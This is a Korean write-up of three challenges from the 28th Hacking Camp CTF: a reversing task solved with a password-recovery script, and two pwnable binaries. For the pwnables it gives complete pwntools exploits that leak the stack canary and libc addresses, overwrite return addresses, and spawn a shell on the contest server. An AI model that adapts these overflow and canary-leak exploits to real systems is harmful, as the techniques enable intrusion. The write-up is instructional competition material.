제 28회 Hacking Camp CTF Write up
해킹캠프 CTF 연속 1위!! 팀운이 미친듯이 좋았던 듯 합니다…
calc - [reversing]
Analysis
문제 코드를 보면 최종적으로 system("./connect")
를 호출해야 하는 것 같다. 해당 코드를 호출하기 위한 조건을 보면 change_pw
와 real_enc
의 문자열이 같아야 함을 알 수 있다.
1
2
3
4
5
6
7
8
9
10
int compare()
{
if ( strcmp(&change_pw, &real_enc) )
{
puts("Try harder");
exit(0);
}
puts("go go go go go go ");
return system("./connect");
}
main()
함수에서 generatePassword()
를 호출하는 것을 볼 수 있는데, 사용자의 입력 값이 들어간 변수를 사용한다.
1
2
3
4
5
6
printf("pw >> ");
__isoc99_scanf("%20s", &v21);
...(중략)
v5 = generatePassword(&v21);
generatePassword()
에서는 총 14바이트의 입력 값과 xor 연산을 시켜 change_pw
변수에 저장하는 과정을 거친다. 이후에는 i
가 5부터 84까지 반복하면서 조건에 if문 조건에 따라 연산을 시행한 후 리턴할 때 v2 * 2
를 반환한다.
- if 조건
i % 5
가 0 이고i <= 74
일 때table
과loop
에 접근하여 각각 곱해준 후v2
에 누적하여 더한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall generatePassword(_BYTE *a1)
{
int v2; // [rsp+10h] [rbp-8h]
int i; // [rsp+14h] [rbp-4h]
v2 = 0;
change_pw = byte_202042 ^ *a1;
byte_2020EB = byte_20208B ^ a1[11];
byte_2020E3 = byte_202049 ^ a1[3];
byte_2020EA = byte_20204D ^ a1[10];
byte_2020E9 = byte_202060 ^ a1[9];
byte_2020E5 = byte_202058 ^ a1[5];
byte_2020ED = byte_20208D ^ a1[13];
byte_2020E6 = byte_202072 ^ a1[6];
byte_2020E1 = byte_202044 ^ a1[1];
byte_2020E7 = byte_202054 ^ a1[7];
byte_2020E4 = byte_20204A ^ a1[4];
byte_2020E8 = byte_202073 ^ a1[8];
byte_2020E2 = byte_202046 ^ a1[2];
byte_2020EC = byte_20208C ^ a1[12];
for ( i = 5; i <= 84; ++i )
{
if ( !(i % 5) && i <= 74 )
v2 += table[i] * loop[j_9493++];
}
return (unsigned int)(2 * v2);
}
generatePassword2()
함수에서는 매개변수로 받은 v5
와 change_pw
를 14번 반복하면서 각각의 인덱스에 저장된 값과 xor 연산하는 과정을 거친다.
1
2
3
4
5
6
7
8
9
10
11
12
char *__fastcall generatePassword2(char a1)
{
char *result; // rax
int i; // [rsp+10h] [rbp-4h]
for ( i = 0; i <= 13; ++i )
{
result = &change_pw;
*(&change_pw + i) ^= a1;
}
return result;
}
Solution Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
real = [0x04, 0x34, 0x26, 0x32, 0x56, 0x28, 0x45, 0x6B, 0x69, 0x44, 0x43, 0x53, 0x16, 0x4C]
loop =[
0x0D, 0x0E, 0x0A, 0x0D, 0x0B, 0x0E, 0x0E, 0x0F, 0x0E, 0x0E,
0x0B, 0x0D, 0x0A, 0x0E, 0x00
]
table = [0x27, 0x6E, 0x64, 0x6B, 0x33, 0x31, 0x32, 0x6B, 0x33, 0x39, 0x23, 0x61, 0x6E, 0x63, 0x26, 0x61,
0x4B, 0x63, 0x7B, 0x6B, 0x64, 0x69, 0x75, 0x67, 0x5F, 0x6B, 0x6E, 0x62, 0x69, 0x39, 0x31, 0x6C,
0x6B, 0x6E, 0x61, 0x39, 0x30, 0x31, 0x38, 0x31, 0x33, 0x6B, 0x52, 0x6E, 0x63, 0x6B, 0x65, 0x24,
0x35, 0x34, 0x31, 0x69, 0x61, 0x6B, 0x63, 0x6E, 0x61, 0x6C, 0x70, 0x69, 0x71, 0x6C, 0x64, 0x6A,
0x6C, 0x71, 0x69, 0x62, 0x6D, 0x61, 0x6F, 0x71, 0x70, 0x38, 0x37, 0x67, 0x31, 0x2C, 0x6D, 0x61,
0x30, 0x38, 0x61, 0x64]
flag = [0 for x in range(14)]
v2 = 0
loop_idx = 0
for i in range(5, 85):
if (i % 5) == 0 and i <= 74:
v2 += table[i] * loop[loop_idx]
loop_idx += 1
v2 *= 2
for i in range(14):
real[i] = (real[i] ^ v2) & 0xff
flag[0] = real[0] ^ 0x64
flag[0xb] = real[0xb] ^ 0x67
flag[0x3] = real[0x3] ^ 0x39
flag[0xa] = real[0xa] ^ 0x63
flag[0x9] = real[0x9] ^ 0x6b
flag[0x5] = real[0x5] ^ 0x5f
flag[0xd] = real[0xd] ^ 0x2c
flag[0x6] = real[0x6] ^ 0x31
flag[0x1] = real[0x1] ^ 0x33
flag[0x7] = real[0x7] ^ 0x64
flag[0x4] = real[0x4] ^ 0x23
flag[0x8] = real[0x8] ^ 0x69
flag[0x2] = real[0x2] ^ 0x32
flag[0xc] = real[0xc] ^ 0x31
for i in flag:
print(chr(i), end='')
CANALEAK 보험 회사 - [Pwnable]
1. Abstract
- Out Of Bound
- Stack Based Buffer Overflow
2. Analysis
주어진 프로그램은 입력에 따라 각각 다른 작업을 수행한다.
- J :
v7
변수에 최대 64바이트 만큼 입력 - R :
v4
에 정수를 입력하고,print_box((int)v7, v4)
호출 - E : 반복문을 탈출하고,
nbytes
에 정수형으로 입력받고,read(0, v8, nbytes);
를 통해v8
변수에 최대nbytes
만큼 입력을 받음.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+4h] [ebp-98h] BYREF
size_t nbytes; // [esp+8h] [ebp-94h] BYREF
__int16 buf; // [esp+Eh] [ebp-8Eh] BYREF
char v7[64]; // [esp+10h] [ebp-8Ch] BYREF
char v8[64]; // [esp+50h] [ebp-4Ch] BYREF
unsigned int v9; // [esp+90h] [ebp-Ch]
v9 = __readgsdword(0x14u);
memset(v7, 0, sizeof(v7));
memset(v8, 0, sizeof(v8));
buf = 0;
v4 = 0;
nbytes = 0;
initialize(argv);
do
{
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 2u);
if ( (char)buf != 'J' )
break;
printf("Your input : ");
read(0, v7, 0x40u);
}
if ( (char)buf != 'R' )
break;
printf("Are you sure you want to refuse? (0: YES / 1: NO / ???: OTHERS) : ");
__isoc99_scanf("%d", &v4);
print_box((int)v7, v4);
}
}
while ( (char)buf != 'E' );
printf("What is your favorite number? : ");
__isoc99_scanf("%d", &nbytes);
printf("Number code : ");
read(0, v8, nbytes);
return 0;
}
print_box
의 내용은 아래와 같다.
매개변수로 받은 v7
에 v4
만큼 떨어진 주소의 값 한 바이트를 hex 값으로 출력한다.
1
2
3
4
int __cdecl print_box(int a1, int a2)
{
return printf("Your choice is %d : %02x\n", a2, *(unsigned __int8 *)(a2 + a1));
}
3. Exploit
해당 바이너리에 걸려있는 mitigation을 보면 stack guard가 설정되어 있는 것을 볼 수 있다.
1
2
3
4
5
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
main()
에서 코드에서 v4
에 원하는 값을 입력할 수 있고, print_box()
를 호출할 때 v4
가 v7
의 인덱스 역할을 하므로 OOB를 통해 AAR가 가능하다. 따라서 Canary 값을 얻을 수 있다.
1
2
3
4
5
if ( (char)buf != 'R' )
break;
printf("Are you sure you want to refuse? (0: YES / 1: NO / ???: OTHERS) : ");
__isoc99_scanf("%d", &v4);
print_box((int)v7, v4);
그리고 'E'
를 입력하여 while 문을 탈출하고, nbytes
에 입력한 수 만큼 v8
에 입력할 수 있기 때문에 해당 부분에서 BOF가 발생한다.
1
2
3
4
5
while ( (char)buf != 'E' );
printf("What is your favorite number? : ");
__isoc99_scanf("%d", &nbytes);
printf("Number code : ");
read(0, v8, nbytes);
결과적으로 canary 값을 알아냈기 때문에 bof가 가능하고 return address를 win()
함수로 덮을 수 있다.
1
2
3
4
5
int get_shell()
{
system("/bin/sh");
return puts("heww");
}
4. Exploit Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
import binascii
#p = process('./join_insurance')
p = remote('43.203.26.108', 912)
e = ELF('./join_insurance')
#input()
get_shell = e.symbols['get_shell']
def leak_canary(offset):
p.sendlineafter('> ', 'R')
p.sendlineafter(': ', offset)
# canary leak
canary = b''
for i in range(129, 132):
leak_canary(str(i))
p.recvuntil('Your choice is ')
p.recvuntil(': ')
canary += p.recvline().strip()
print(canary)
canary = canary.decode()
canary = binascii.unhexlify(canary)
print(canary)
#canary = int(canary, 16)
p.sendlineafter('> ', 'E')
size = 0x400
p.sendlineafter(': ', str(size))
payload = b'A' * 64
payload += b'\x00' + canary
payload += b'B' * 12
payload += p32(get_shell)
p.sendlineafter(': ', payload)
p.interactive()
lvlttr - [Pwnable]
1. Abstract
- Stack Based Buffer Overflow
- Memory Leakage
- Arbitrary Address Write
2. Analysis
프로그램을 실행하면 아래와 같이 메뉴를 고를 수 있는 프롬프트가 출력된다.
1
2
3
4
5
한 통의 편지가 도착했습니다.
1. 편지 확인
2. 편지 보내기
3. go out
먼저 1. 편지 확인
메뉴의 내용을 보면 내부에서 또 메뉴를 고를 수 있게 되어 있는데, 특히 2번 메뉴를 보면 입력 값인 buf
을 출력해주는 부분이 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__isoc99_scanf("%d", &v5)
if ( v5 == 1 )
{
puts("No...");
lttr = 0;
}
else if ( v5 == 2 )
{
printf("Answer: ");
read(0, buf, 0x30uLL);
puts(buf);
}
else
{
puts("Change..");
}
}
그리고 2. 편지보내기
메뉴도 마찬가지로 내부에서 메뉴를 고를 수 있도록 되어 있다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
__isoc99_scanf("%d", &v6);
switch ( v6 )
{
case 1:
menu21();
break;
case 2:
printf("Answer: ");
read(0, buf, 0x48uLL);
break;
case 3:
menu23();
break;
}
1번 메뉴부터 보면 사용자가 입력 받은 buf
에 read()
를 통해 buf
라는 주소에 입력이 가능한 것을 볼 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 menu21()
{
void *buf; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Components: ");
__isoc99_scanf("%lu", &buf);
printf("Contents: ");
read(0, buf, 7uLL);
return __readfsqword(0x28u) ^ v2;
}
2번 메뉴를 보면 buf
에 0x48
만큼 입력이 가능하지만, return address까지 덮을 수 없었다.
(정확히 8바이트가 부족함.)
1
2
3
4
case 2:
printf("Answer: ");
read(0, buf, 0x48uLL);
break;
3번 메뉴는 입력 값의 주소를 free 해주는 기능을 한다.
1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 menu23()
{
void *ptr; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("What: ");
__isoc99_scanf("%lu", &ptr);
free(ptr);
return __readfsqword(0x28u) ^ v2;
}
3. Exploit
내가 생각한 exploit 시나리오는 다음과 같다.
- Memory Leakage (Stack, Canary, Library)
- Arbitrary Address Write
3.1 Memory Leakage
puts()
의 경우 null 값이 나올 때까지 출력하기 때문에 이를 이용하여 문자열을 이어서 출력할 수 있다. 이를 통해 Memory Leak이 가능하다.
"편지 보내기" > "편지 쓰기" > "편지 확인" > "답장 쓰기"
를 반복하여 Stack Address, Canary, libc Address를 얻을 수 있다.
위의 Memory Leak을 통해 익스플로잇에 필요한 정보를 얻을 수 있다.
main()
함수의 return address- Canary
- Oneshot Gadget Address
3.2 Arbitrary Address Write
menu21
에서 Arbitrary Address Write가 가능하기 때문에 Stack의 return 주소가 위치한 곳에 oneshot gadget의 주소를 Overwrite 할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 menu21()
{
void *buf; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Components: ");
__isoc99_scanf("%lu", &buf);
printf("Contents: ");
read(0, buf, 7uLL);
return __readfsqword(0x28u) ^ v2;
}
마지막으로 Memory Leak 시도 때문에 손상되었던 Canary 값을 복구시키고, go out
메뉴를 선택하면 ret address에 쓰여진 Oneshot Gadget 주소가 호출되면서 익스플로잇이 된다.
4. Exploit Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
context.log_level = 'debug'
def letter_delete():
p.sendlineafter('> ', '1')
def letter_answer(buf):
p.sendlineafter('> ', '2')
p.sendlineafter('Answer: ', buf)
def addr_input(comp, con):
p.sendlineafter('> ', '1')
p.sendlineafter('Components: ', comp)
p.sendafter('Contents: ', con)
def write_letter(buf):
p.sendlineafter('> ', '2')
p.sendafter('Answer: ', buf)
def delete(ptr):
p.sendlineafter('> ', '3')
p.sendlineafter('What: ', ptr)
def letter_check(sel, buf=b''):
p.sendlineafter('> ', '1')
if sel == 1:
letter_delete()
else:
letter_answer(buf)
def send_letter(sel, comp=b'', con=b'', buf=b'', ptr=b''): # 편지 보내기
p.sendlineafter('> ', '2')
if sel == 1:
addr_input(comp, con)
elif sel == 2:
write_letter(buf)
else:
delete(ptr)
def go_out():
p.sendlineafter('> ', '3')
#p = process('./lvlttr')
p = remote('43.203.26.108', 217)
#libc_main_231 = 0x21c87
libc_main_231 = 0x21bf7
one_gadget = [0x4f3d5, 0x4f432, 0x10a41c]
input()
# stack leak
payload = b'A' * 0x30
send_letter(2, buf=payload)
payload = b'B' * 0x30
letter_check(2, buf=payload)
p.recvuntil(b'B' * 0x30)
stack_leak = p.recvline().strip()
stack_leak = u64(stack_leak.ljust(8, b'\x00'))
print(hex(stack_leak))
# canary leak
payload = b'A' * 56 + b'\n'
send_letter(2, buf=payload)
payload = b'B' * 0x30
letter_check(2, buf=payload)
p.recvline()
canary_leak = u64(p.recv(7).rjust(8, b'\x00'))
print(hex(canary_leak))
# libc leak
payload = b'A' * 0x48
send_letter(2, buf=payload)
payload = b'B' * 0x30
letter_check(2, buf=payload)
p.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAA')
leak = p.recvline().strip()
leak = u64(leak.ljust(8, b'\x00'))
print(hex(leak))
# one gagdget
libc_base = leak - libc_main_231
oneshot = libc_base + one_gadget[0]
#send_letter(1, comp='', con='asf')
# free
stack_addr = stack_leak - 0xd8
payload = p64(oneshot)[:7]
print(len(payload))
send_letter(1, comp=str(stack_addr), con=payload)
'''
send_letter(2, buf=payload)
stack_addr = stack_leak - 0xe0 - 0x30
send_letter(3, ptr=str(stack_addr).encode())
'''
# exploit
payload = b'A' * 56
payload += p64(canary_leak)
payload += b'B' * 8
send_letter(2, buf=payload)
#go out
#go_out()
p.sendlineafter('> ', '3')
p.interactive()